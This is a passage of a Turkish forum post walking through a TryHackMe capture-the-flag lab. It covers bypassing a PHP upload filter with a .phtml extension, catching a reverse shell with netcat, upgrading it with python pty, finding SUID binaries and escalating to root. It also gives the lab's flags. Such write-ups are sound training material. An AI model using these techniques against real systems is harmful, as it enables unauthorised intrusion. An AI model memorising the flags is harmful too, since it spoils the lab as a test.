ip değişkenine ip adresimizi ve port değişkenimizede dinlemek istediğiniz bağlantı noktasını yazıyoruz.Daha sonrasında bu dosyayı .php uzantısı ile upload etmeye çalıştığımızda bir hata ile karşılaşacağız demekki .php uzantılı dosyaların yüklenmesine izin verilmiyor.
vanlwug.png

size baştada bahsettiğim gibi php uzantılı dosyalar sistem tarafınca engelleniyorsa php yi destekleyen .phtml uzantısını kullanabiliriz.Dosya uzantısını .phtml olarak değitirdiğimizde dosya upload edildi.
mq7222q.png

baglantı noktasını 4444. port olarak belirmiştik bu bağlantı noktasını netcat ile dinliyorum nc -lvnp 4444 ve uploads klasöründe upload ettiğim shell.phtml dosyasını çalıştırıyorum böylelikle kabuğu elde ediyoruz.
94t49c3.png

ama bu kabuk tam yetkide bir kabuk değil karalı bir kabuk elde etmek için basit bir python scripti
Python:
[CODE=python]python3 -c 'import pty; pty.spawn("/bin/bash")'
[/CODE]
bu script ile karaklı bir kabuk elde ediyoruz. ardından export TERM=xterm diyerek terminalde daha rahat olabilirsiniz.
rg5duyt.png

tryhackme bizden users.txt yi istiyor find ile yolunu bilmediğimiz dosyaların yolunu bulabiliriz find / -type f -name user.txt komutu ile user.txt nin yolunun /var/www/user.txt olduğunu buluyoruz.
tk9g57n.png

cat /var/www/user.txt ile dosya içeriğini görüyoruz
s0yrgog.png

Tryhackme 6. soru users.txt nedir ?(THM{y0u_g0t_a_sh3ll})
bi başka soruda ise bize SUID izni olan dosyaları arayın, hangi dosya garip olduğunu soruyor.
SUİD yetkisine sahip dosyaları görmek için
find / -type f user root -perm -4000 2>/dev/null komutunu kullaanabiliriz.
-perm : belirli izne sahip dosyaları arar
-type f : sadece dosyaları aramak içindir
2>/dev/null : SUİD yetkili dosyaları aradığımızda hata almamak için kullanılır.
find ile suid yetkisi olan dosyaları araştırdıgımızda bir sürü dosya çıkıyor diğerleri standart dosyalar ama garip olan dosya /usr/bin/python dosyası
1boy4s5.png

Tryhackme 7. sorusu SUID izni olan dosyaları arayın, hangi dosya garip?(/usr/bin/python)
/usr/var/python dosyacını açmak için suid yetkisine sahip olmalıyız
python için suid yetkisi

d92qnpw.png

cd usr/bin dizinine gidiyorum ve suid yetkisini elde etmek için kodumu çalıstırıyorum ve root oldugumuzu görüyoruz.
j126p1t.png

son soruda ise bize root.txt yi soruyor
rbiapos.png

Tryhackme 8. sorusu root.txt nedir? (THM{pr1v1l3g3_3sc4l4t10n})
l4rpvjc.png
Ellerine sağlık çok iyi anlatmışsın (y)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.